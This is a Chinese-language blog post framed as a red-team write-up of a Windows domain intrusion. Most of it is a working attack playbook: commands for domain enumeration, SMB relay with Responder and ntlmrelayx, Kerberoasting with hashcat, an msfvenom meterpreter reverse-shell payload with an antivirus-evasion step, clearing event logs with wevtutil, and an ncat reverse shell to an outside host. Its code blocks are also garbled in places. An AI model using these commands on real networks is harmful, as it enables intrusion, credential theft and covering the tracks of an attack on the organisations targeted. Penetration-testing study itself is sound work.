一、从一次内部渗透测试说起

几年前,我参与了一次内部红队渗透测试,目标是一个企业内部的 Windows 域环境。客户的防御体系在外部看似固若金汤,几乎没有明显的外部入口。然而当我设法潜入内网后,发现这个域环境中存在着一系列配置疏漏和权限问题,为整个渗透过程打开了一扇大门。

最终,我成功获得了域控的最高权限,并实现了数据窃取。本文将以这次渗透测试为案例,从技术细节入手,深挖 Windows 域渗透的攻击链和工具使用技巧。注意,以下内容仅供授权安全测试使用。

---

二、信息收集:域环境的画像

初期的内网立足点

进入目标企业内网后,我的初始权限仅限于一台普通的 Windows 工作站,且账户权限较低。这种情况下,第一步就是通过各种方法收集域信息,理解目标环境的结构。这里介绍两种常见的方式:

PowerView 的使用

PowerView 是 PowerShell 中一款功能强大的工具,用于枚举域信息。以下是常用命令: <pre><code class="language-powershell"># 枚举域用户 Get-NetUser

枚举域组及其成员

Get-NetGroup | Get-NetGroupMember

获取域控列表

Get-NetDomainController</code></pre>

这些命令可以帮助我们快速了解域内的主要角色和配置,例如是否存在可利用的敏感账户。

LDAP 查询

通过 Ruby 编写脚本直接进行 LDAP 查询也是一种低噪声的选择: <pre><code class="language-ruby">require &#039;net/ldap&#039;

ldap = Net::LDAP.new ldap.host = &#039;192.168.1.10&#039; # 替换为域控 IP ldap.port = 389 ldap.auth &#039;username&#039;, &#039;password&#039; # 替换为有效凭据

filter = Net::LDAP::Filter.eq(&quot;objectClass&quot;, &quot;user&quot;) ldap.search(base: &quot;dc=example,dc=com&quot;, filter: filter) do |entry| puts entry.dn end</code></pre> 这种方式更适合隐蔽的场景,可以直接获取域用户信息。

---

黑客示意图

三、漏洞利用:横向移动的钥匙

SMB Relay 攻击

通过信息收集,我发现目标域的某些服务器存在 SMB 策略配置问题,没有开启 “签名强制”。这使得 SMB Relay 攻击成为了突破权限的一种选择。

攻击步骤

  1. 启动 Responder 工具,监听并伪造 SMB 服务:
  2. <pre><code class="language-shell"> sudo responder -I eth0 -rdw `

  3. 诱导目标机器连接伪造的 SMB 服务,从而截获凭据:
  4. `shell python3 ntlmrelayx.py -tf targets.txt -smb2support `

  5. 如果捕获到 NTLM 哈希,可以尝试使用 Pass-the-Hash 技术直接登录到其他机器。

---

四、权限提升:迈向域控

利用 Kerberos 漏洞获取票据

在枚举域用户时,我发现了一个具有域管理员权限的账户,其配置中存在 SPN(Service Principal Name)。这是典型的 Kerberoasting 漏洞,可以用以下代码获取加密的票据:

生成票据</code></pre>powershell

使用 PowerShell 获取票据

Invoke-Kerberoast -OutputFormat Hashcat | Out-File 'tickets.txt' <pre><code>

破解票据

tickets.txt 中的加密哈希导入 Hashcat 工具进行破解:</code></pre>shell

使用 Hashcat 破解

hashcat -a 0 -m 13100 tickets.txt wordlist.txt <pre><code>破解成功后,我们可以直接使用明文密码登录域控。

---

五、隐蔽行动:绕过 EDR 的免杀技术

构造免杀 Payload

在域控权限获取后,如何隐藏动作并维持权限成为重点。这里推荐使用 msfvenom 制作自定义 Payload,结合 Shell 加壳技术:

生成基础 Payload</code></pre>shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe <pre><code>

免杀处理

通过 Shell 混淆重构 Payload:</code></pre>shell

!/bin/bash

input="payload.exe" output="final_payload.exe"

进行简单的混淆

xxd -i "$input" | sed 's/unsigned char/static char/' > temp.c gcc temp.c -o "$output" -mwindows rm temp.c <pre><code> 这种方法可以绕过绝大部分简单的防病毒软件。

黑客示意图

---

黑客示意图

六、痕迹清理与反追踪

Windows 日志清理

最后一步是清理操作日志,防止管理员察觉:</code></pre>powershell

清除事件日志

wevtutil cl System wevtutil cl Security wevtutil cl Application <pre><code>

流量伪装

使用加密隧道隐藏 C2 通信流量:</code></pre>shell

开启加密隧道

ssh -D 1080 -f -C -q -N user@remote-server proxychains ncat -e cmd.exe 192.168.1.100 4444 `

这种方式可以有效规避流量审计。

---

七、个人经验与总结

从多年的域渗透实战经验来看,关键在于对目标环境的理解和工具的熟练应用。以下是几点心得:

  1. 信息收集是关键:域环境信息繁杂,找到有效入口需要耐心和细致。
  2. 漏洞选择需谨慎:并非所有漏洞都能直接利用,选择最适合的攻击路径非常重要。
  3. 隐蔽行动很重要:在企业环境中,防御系统比个人用户复杂得多,绕过检测是实战的核心。
  4. 保持学习的心态:域渗透技术日新月异,持续更新知识库才能保持攻击力。

希望这篇文章能帮助你理解 Windows 域渗透的核心技术。如果你有更好的技巧或工具,欢迎交流。